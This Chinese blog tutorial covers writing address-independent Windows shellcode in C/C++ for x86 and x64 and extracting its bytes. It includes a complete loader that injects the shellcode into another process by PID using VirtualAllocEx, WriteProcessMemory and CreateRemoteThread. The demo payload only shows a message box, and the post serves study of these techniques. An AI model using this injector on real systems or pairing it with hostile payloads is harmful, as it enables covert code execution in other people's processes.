zoukankan      html  css  js  c++  java
  • 使用C/C++ 实现ShellCode编写与提取

    简单来说,shell code 的核心就是把代码写成 “与地址无关” 的风格,让它不论是在什么环境下都可以被执行。

    • 具体注意:
    • 使用 API 时应该动态调用(GetProAddress)
    • 不能使用全局变量,或者用 static 修饰的变量
    • 在 shellcode 工程中要自定义入口函数
    • 确保调用 API 之前都已经加载了与之对应的 DLL
    • 所有的字符串都要用字符串数组的方式代替

    环境搭建

    首先新建一个项目,这里我推荐 空项目,之后创建一个 main.cpp 文件:

    使用 Release 模式写代码,这是因为 Debug 模式下的代码在转换成汇编后首先都是一个 jmp,然后再跳到我们的功能代码处,但 jmp 指令是 “地址相关” 的 ,所以在转换成 shellcode 时就会出错!

    修改项目属性:

    高级配置

    编写 ShellCode

    32位

    #include <windows.h>
    
    FARPROC  getProcAddress(HMODULE hModuleBase);
    DWORD getKernel32();
    
    int EntryMain()
    {
        // get function address :GetProcAddress
        typedef FARPROC(WINAPI* FN_GetProcAddress)(
            _In_ HMODULE hModule,
            _In_ LPCSTR lpProcName
            );
        FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
    
        // get function address :LoadLibraryW
        typedef HMODULE(WINAPI* FN_LoadLibraryW)(
            _In_ LPCWSTR lpLibFileName
            );
        char xyLoadLibraryW[] = { 'L','o','a','d','L','i','b','r','a','r','y','W',0 };
        FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);
    
        // get function address :MessageBoxW
        typedef int (WINAPI* FN_MessageBoxW)(
            _In_opt_ HWND hWnd,
            _In_opt_ LPCWSTR lpText,
            _In_opt_ LPCWSTR lpCaption,
            _In_ UINT uType);
        wchar_t xy_user32[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
        char xy_MessageBoxW[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };
        FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
        
        // shellcode test
        wchar_t xy_Hello[] = { 'S','h','e','l','l','c','o','d','e',0 };
        wchar_t xy_tip[] = { 'L','Y','S','M',0 };
        fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);
    
    
        return 0;
    }
    
    // get module base :kernel32.dll
    __declspec(naked) DWORD getKernel32()
    {
        __asm
        {
            mov eax, fs: [30h]
            mov eax, [eax + 0ch]
            mov eax, [eax + 14h]
            mov eax, [eax]
            mov eax, [eax]
            mov eax, [eax + 10h]
            ret
        }
    }
    
    // get function address :GetProcAddress
    FARPROC getProcAddress(HMODULE hModuleBase)
    {
        PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
        PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
        if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {
            return NULL;
        }
        if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
            return NULL;
        }
        PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
        PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
        PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
    
        DWORD dwLoop = 0;
        FARPROC pRet = NULL;
        for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {
            char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
    
            if (pFunName[0] == 'G' &&
                pFunName[1] == 'e' &&
                pFunName[2] == 't' &&
                pFunName[3] == 'P' &&
                pFunName[4] == 'r' &&
                pFunName[5] == 'o' &&
                pFunName[6] == 'c' &&
                pFunName[7] == 'A' &&
                pFunName[8] == 'd' &&
                pFunName[9] == 'd' &&
                pFunName[10] == 'r' &&
                pFunName[11] == 'e' &&
                pFunName[12] == 's' &&
                pFunName[13] == 's')
            {
                pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
                break;
            }
        }
        return pRet;
    } 
    

    64位: x64.asm 具体设置参考:https://blog.csdn.net/Simon798/article/details/107051541

    .code
    getKernel32		proc
    	mov rax,gs:[60h]
    	mov rax,[rax+18h]
    	mov rax,[rax+30h]
    	mov rax,[rax]
    	mov rax,[rax]
    	mov rax,[rax+10h]
    	ret
    getKernel32		endp
    end
    

    main.cpp

    #include <windows.h>
    
    FARPROC  getProcAddress(HMODULE hModuleBase);
    extern "C" PVOID64  getKernel32();
    
    int EntryMain()
    {
        // get function address :GetProcAddress
        typedef FARPROC(WINAPI* FN_GetProcAddress)(
            _In_ HMODULE hModule,
            _In_ LPCSTR lpProcName
            );
        FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
    
        // get function address :LoadLibraryW
        typedef HMODULE(WINAPI* FN_LoadLibraryW)(
            _In_ LPCWSTR lpLibFileName
            );
        char xyLoadLibraryW[] = { 'L','o','a','d','L','i','b','r','a','r','y','W',0 };
        FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);
    
        // get function address :MessageBoxW
        typedef int (WINAPI* FN_MessageBoxW)(
            _In_opt_ HWND hWnd,
            _In_opt_ LPCWSTR lpText,
            _In_opt_ LPCWSTR lpCaption,
            _In_ UINT uType);
        wchar_t xy_user32[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
        char xy_MessageBoxW[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };
        FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
        
        // shellcode test
        wchar_t xy_Hello[] = { 'S','h','e','l','l','c','o','d','e',0 };
        wchar_t xy_tip[] = { 'L','Y','S','M',0 };
        fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);
    
        Sleep(10000);
        return 0;
    }
    
    
    // get function address :GetProcAddress
    FARPROC getProcAddress(HMODULE hModuleBase)
    {
        PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
        PIMAGE_NT_HEADERS64 lpNtHeader = (PIMAGE_NT_HEADERS64)((ULONG64)hModuleBase + lpDosHeader->e_lfanew);
        if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {
            return NULL;
        }
        if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
            return NULL;
        }
        PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((ULONG64)hModuleBase + (ULONG64)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        PDWORD lpdwFunName = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNames);
        PWORD lpword = (PWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNameOrdinals);
        PDWORD  lpdwFunAddr = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfFunctions);
    
        DWORD dwLoop = 0;
        FARPROC pRet = NULL;
        for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {
            char* pFunName = (char*)(lpdwFunName[dwLoop] + (ULONG64)hModuleBase);
    
            if (pFunName[0] == 'G' &&
                pFunName[1] == 'e' &&
                pFunName[2] == 't' &&
                pFunName[3] == 'P' &&
                pFunName[4] == 'r' &&
                pFunName[5] == 'o' &&
                pFunName[6] == 'c' &&
                pFunName[7] == 'A' &&
                pFunName[8] == 'd' &&
                pFunName[9] == 'd' &&
                pFunName[10] == 'r' &&
                pFunName[11] == 'e' &&
                pFunName[12] == 's' &&
                pFunName[13] == 's')
            {
                pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (ULONG64)hModuleBase);
                break;
            }
        }
        return pRet;
    }        
    

    提取 ShellCode

    打开 studyPE ,拖入编译后的 exe,记录代码段文件偏移:

    打开 C32Asm,拖入 exe,转到文件偏移处,拷贝一段连续的 hex 码:

    这就是我们需要的 ShellCode 了 (o゚v゚)ノ

    使用 ShellCode

    写一个 Shell Code 加载器:

    #include <windows.h>
    #include <iostream>
    using namespace std;
    
    
    // x86 shellcode
    UCHAR shellcode[] = { 0x55,  0x8B,  0xEC,  0x83,  0xEC,  0x5C,  0x53,  0x56,  0x57,  0xE8,  0x72,  0x01,  0x00,  0x00,  0x8B,  0xD0,  0x33,  0xDB,  0x8B,  0x42,  0x3C,  0x39,  0x5C,  0x10,  0x7C,  0x0F,  0x84,  0x9F,  0x00,  0x00,  0x00,  0x8B,  0x74,  0x10,  0x78,  0x85,  0xF6,  0x0F,  0x84,  0x93,  0x00,  0x00,  0x00,  0x8B,  0x44,  0x16,  0x24,  0x33,  0xC9,  0x8B,  0x7C,  0x16,  0x20,  0x03,  0xC2,  0x89,  0x45,  0xFC,  0x03,  0xFA,  0x8B,  0x44,  0x16,  0x1C,  0x8B,  0x74,  0x16,  0x18,  0x03,  0xC2,  0x89,  0x45,  0xF8,  0x4E,  0x66,  0x0F,  0x1F,  0x44,  0x00,  0x00,  0x8B,  0x04,  0x8F,  0x03,  0xC2,  0x80,  0x38,  0x47,  0x75,  0x4E,  0x80,  0x78,  0x01,  0x65,  0x75,  0x48,  0x80,  0x78,  0x02,  0x74,  0x75,  0x42,  0x80,  0x78,  0x03,  0x50,  0x75,  0x3C,  0x80,  0x78,  0x04,  0x72,  0x75,  0x36,  0x80,  0x78,  0x05,  0x6F,  0x75,  0x30,  0x80,  0x78,  0x06,  0x63,  0x75,  0x2A,  0x80,  0x78,  0x07,  0x41,  0x75,  0x24,  0x80,  0x78,  0x08,  0x64,  0x75,  0x1E,  0x80,  0x78,  0x09,  0x64,  0x75,  0x18,  0x80,  0x78,  0x0A,  0x72,  0x75,  0x12,  0x80,  0x78,  0x0B,  0x65,  0x75,  0x0C,  0x80,  0x78,  0x0C,  0x73,  0x75,  0x06,  0x80,  0x78,  0x0D,  0x73,  0x74,  0x07,  0x41,  0x3B,  0xCE,  0x76,  0xA3,  0xEB,  0x0F,  0x8B,  0x45,  0xFC,  0x8B,  0x5D,  0xF8,  0x0F,  0xB7,  0x04,  0x48,  0x8B,  0x1C,  0x83,  0x03,  0xDA,  0x8D,  0x45,  0xD0,  0xC7,  0x45,  0xD0,  0x4C,  0x6F,  0x61,  0x64,  0x50,  0xC7,  0x45,  0xD4,  0x4C,  0x69,  0x62,  0x72,  0xC7,  0x45,  0xD8,  0x61,  0x72,  0x79,  0x57,  0xC6,  0x45,  0xDC,  0x00,  0xE8,  0xA0,  0x00,  0x00,  0x00,  0x50,  0xFF,  0xD3,  0x33,  0xC9,  0xC7,  0x45,  0xA4,  0x75,  0x00,  0x73,  0x00,  0x66,  0x89,  0x4D,  0xB8,  0x8D,  0x4D,  0xE0,  0x51,  0x8D,  0x4D,  0xA4,  0xC7,  0x45,  0xA8,  0x65,  0x00,  0x72,  0x00,  0x51,  0xC7,  0x45,  0xAC,  0x33,  0x00,  0x32,  0x00,  0xC7,  0x45,  0xB0,  0x2E,  0x00,  0x64,  0x00,  0xC7,  0x45,  0xB4,  0x6C,  0x00,  0x6C,  0x00,  0xC7,  0x45,  0xE0,  0x4D,  0x65,  0x73,  0x73,  0xC7,  0x45,  0xE4,  0x61,  0x67,  0x65,  0x42,  0xC7,  0x45,  0xE8,  0x6F,  0x78,  0x57,  0x00,  0xFF,  0xD0,  0x50,  0xFF,  0xD3,  0x33,  0xC9,  0xC7,  0x45,  0xBC,  0x53,  0x00,  0x68,  0x00,  0x51,  0x66,  0x89,  0x4D,  0xF4,  0x8D,  0x4D,  0xEC,  0x51,  0x8D,  0x4D,  0xBC,  0xC7,  0x45,  0xC0,  0x65,  0x00,  0x6C,  0x00,  0x51,  0x6A,  0x00,  0xC7,  0x45,  0xC4,  0x6C,  0x00,  0x63,  0x00,  0xC7,  0x45,  0xC8,  0x6F,  0x00,  0x64,  0x00,  0xC7,  0x45,  0xCC,  0x65,  0x00,  0x00,  0x00,  0xC7,  0x45,  0xEC,  0x4C,  0x00,  0x59,  0x00,  0xC7,  0x45,  0xF0,  0x53,  0x00,  0x4D,  0x00,  0xFF,  0xD0,  0x5F,  0x5E,  0x33,  0xC0,  0x5B,  0x8B,  0xE5,  0x5D,  0xC3,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0x64,  0xA1,  0x30,  0x00,  0x00,  0x00,  0x8B,  0x40,  0x0C,  0x8B,  0x40,  0x14,  0x8B,  0x00,  0x8B,  0x00,  0x8B,  0x40,  0x10,  0xC3,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00};
    
    // x64 shellcode
    /*UCHAR shellcode[] = { 0x48,  0x89,  0x5C,  0x24,  0x08,  0x48,  0x89,  0x74,  0x24,  0x10,  0x48,  0x89,  0x7C,  0x24,  0x18,  0x55,  0x41,  0x56,  0x41,  0x57,  0x48,  0x8B,  0xEC,  0x48,  0x81,  0xEC,  0x80,  0x00,  0x00,  0x00,  0xE8,  0x9D,  0x01,  0x00,  0x00,  0x4C,  0x8B,  0xC0,  0x33,  0xDB,  0x8B,  0xFB,  0x48,  0x63,  0x40,  0x3C,  0x42,  0x39,  0x9C,  0x00,  0x8C,  0x00,  0x00,  0x00,  0x0F,  0x84,  0xA7,  0x00,  0x00,  0x00,  0x42,  0x8B,  0x8C,  0x00,  0x88,  0x00,  0x00,  0x00,  0x85,  0xC9,  0x0F,  0x84,  0x97,  0x00,  0x00,  0x00,  0x45,  0x8B,  0x54,  0x08,  0x24,  0x49,  0x8D,  0x04,  0x08,  0x41,  0x8B,  0x4C,  0x08,  0x20,  0x4D,  0x03,  0xD0,  0x44,  0x8B,  0x58,  0x1C,  0x49,  0x03,  0xC8,  0x44,  0x8B,  0x48,  0x18,  0x4D,  0x03,  0xD8,  0x41,  0xFF,  0xC9,  0x8B,  0xD3,  0x8B,  0x01,  0x49,  0x03,  0xC0,  0x80,  0x38,  0x47,  0x75,  0x4E,  0x80,  0x78,  0x01,  0x65,  0x75,  0x48,  0x80,  0x78,  0x02,  0x74,  0x75,  0x42,  0x80,  0x78,  0x03,  0x50,  0x75,  0x3C,  0x80,  0x78,  0x04,  0x72,  0x75,  0x36,  0x80,  0x78,  0x05,  0x6F,  0x75,  0x30,  0x80,  0x78,  0x06,  0x63,  0x75,  0x2A,  0x80,  0x78,  0x07,  0x41,  0x75,  0x24,  0x80,  0x78,  0x08,  0x64,  0x75,  0x1E,  0x80,  0x78,  0x09,  0x64,  0x75,  0x18,  0x80,  0x78,  0x0A,  0x72,  0x75,  0x12,  0x80,  0x78,  0x0B,  0x65,  0x75,  0x0C,  0x80,  0x78,  0x0C,  0x73,  0x75,  0x06,  0x80,  0x78,  0x0D,  0x73,  0x74,  0x0D,  0xFF,  0xC2,  0x48,  0x83,  0xC1,  0x04,  0x41,  0x3B,  0xD1,  0x76,  0x9D,  0xEB,  0x0E,  0x8B,  0xC2,  0x41,  0x0F,  0xB7,  0x0C,  0x42,  0x41,  0x8B,  0x3C,  0x8B,  0x49,  0x03,  0xF8,  0xC7,  0x45,  0xC0,  0x4C,  0x6F,  0x61,  0x64,  0xC7,  0x45,  0xC4,  0x4C,  0x69,  0x62,  0x72,  0xC7,  0x45,  0xC8,  0x61,  0x72,  0x79,  0x57,  0xC6,  0x45,  0xCC,  0x00,  0xE8,  0xBF,  0x00,  0x00,  0x00,  0x48,  0x8B,  0xC8,  0x48,  0x8D,  0x55,  0xC0,  0xFF,  0xD7,  0x48,  0x8D,  0x4D,  0xE8,  0xC7,  0x45,  0xE8,  0x75,  0x00,  0x73,  0x00,  0xC7,  0x45,  0xEC,  0x65,  0x00,  0x72,  0x00,  0xC7,  0x45,  0xF0,  0x33,  0x00,  0x32,  0x00,  0xC7,  0x45,  0xF4,  0x2E,  0x00,  0x64,  0x00,  0xC7,  0x45,  0xF8,  0x6C,  0x00,  0x6C,  0x00,  0x66,  0x89,  0x5D,  0xFC,  0xC7,  0x45,  0xB0,  0x4D,  0x65,  0x73,  0x73,  0xC7,  0x45,  0xB4,  0x61,  0x67,  0x65,  0x42,  0xC7,  0x45,  0xB8,  0x6F,  0x78,  0x57,  0x00,  0xFF,  0xD0,  0x48,  0x8B,  0xC8,  0x48,  0x8D,  0x55,  0xB0,  0xFF,  0xD7,  0x45,  0x33,  0xC9,  0xC7,  0x45,  0xD0,  0x53,  0x00,  0x68,  0x00,  0x4C,  0x8D,  0x45,  0xA0,  0xC7,  0x45,  0xD4,  0x65,  0x00,  0x6C,  0x00,  0x48,  0x8D,  0x55,  0xD0,  0xC7,  0x45,  0xD8,  0x6C,  0x00,  0x63,  0x00,  0x33,  0xC9,  0xC7,  0x45,  0xDC,  0x6F,  0x00,  0x64,  0x00,  0xC7,  0x45,  0xE0,  0x65,  0x00,  0x00,  0x00,  0xC7,  0x45,  0xA0,  0x4C,  0x00,  0x59,  0x00,  0xC7,  0x45,  0xA4,  0x53,  0x00,  0x4D,  0x00,  0x66,  0x89,  0x5D,  0xA8,  0xFF,  0xD0,  0x4C,  0x8D,  0x9C,  0x24,  0x80,  0x00,  0x00,  0x00,  0x33,  0xC0,  0x49,  0x8B,  0x5B,  0x20,  0x49,  0x8B,  0x73,  0x28,  0x49,  0x8B,  0x7B,  0x30,  0x49,  0x8B,  0xE3,  0x41,  0x5F,  0x41,  0x5E,  0x5D,  0xC3,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0x65,  0x48,  0x8B,  0x04,  0x25,  0x60,  0x00,  0x00,  0x00,  0x48,  0x8B,  0x40,  0x18,  0x48,  0x8B,  0x40,  0x30,  0x48,  0x8B,  0x00,  0x48,  0x8B,  0x00,  0x48,  0x8B,  0x40,  0x10,  0xC3,  0x00,  0x00,  0x00,  0x00};*/
    int main()
    {
    
        // some variables statement
        DWORD targetPid = 0;
        HANDLE h_target = NULL;
        LPVOID p_base = NULL;
        HANDLE h_thread = NULL;
    
        // get target process handle
        cout << "input target process id:";
        cin >> targetPid;
        h_target = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
        if (h_target == NULL) {
            cout << "OpenProcess failed." << endl;
            goto main_end;
        }
    
        // request memory in target process 
        p_base  = VirtualAllocEx(h_target, NULL, sizeof(shellcode), MEM_COMMIT ,PAGE_EXECUTE_READWRITE);
        if (p_base == NULL) {
            cout << "VirtualAllocEx failed." << endl;
            goto main_end;
        }
    
        // write shellcode in requested memory
        if (!WriteProcessMemory(h_target, p_base, (LPVOID)shellcode, sizeof(shellcode), NULL)) {
            cout << "WriteProcessMemory failed." << endl;
            goto main_end;
        }
    
        // create thread and execute shellcode
        h_thread = CreateRemoteThread(h_target, 0, 0,(LPTHREAD_START_ROUTINE)p_base, NULL, 0, NULL);
        if (h_thread == NULL) {
            cout << "CreateRemoteThread failed." << endl;
            goto main_end;
        }
    
    main_end:
        
        // when MessageBox appears but you don't click the button,
        // now , call VirtualFreeEx to free memory then click button will lead target procedure to breakdown.
        /*if (p_base) {
            VirtualFreeEx(h_target, p_base, 0, MEM_RELEASE);
        }*/
        if (h_target)
            CloseHandle(h_target);
        if (h_thread)
            CloseHandle(h_thread);
        getchar();
        return 0;
    }
    

    测试 shellcode 注入程序成功:


    许可协议: 文章中的代码均为学习时整理的笔记,博客中除去明确标注有参考文献的文章,其他文章【均为原创】作品,转载请务必【添加出处】,您添加出处是我创作的动力!
  • 相关阅读:
    12.9Java日报
    2020-12-10日报博客-周四
    2020-12-9日报博客-周三
    2020-12-8日报博客-周二
    2020-12-7日报博客-周一
    2020-12-6日报博客-一周总结
    2020-12-4日报博客-周五
    .NET ------ 界面显示优化(新增,查询窗口)
    构建之法阅读笔记——程序员篇
    Eclipse的Junit单元测试
  • 原文地址:https://www.cnblogs.com/LyShark/p/15019189.html
Copyright © 2011-2022 走看看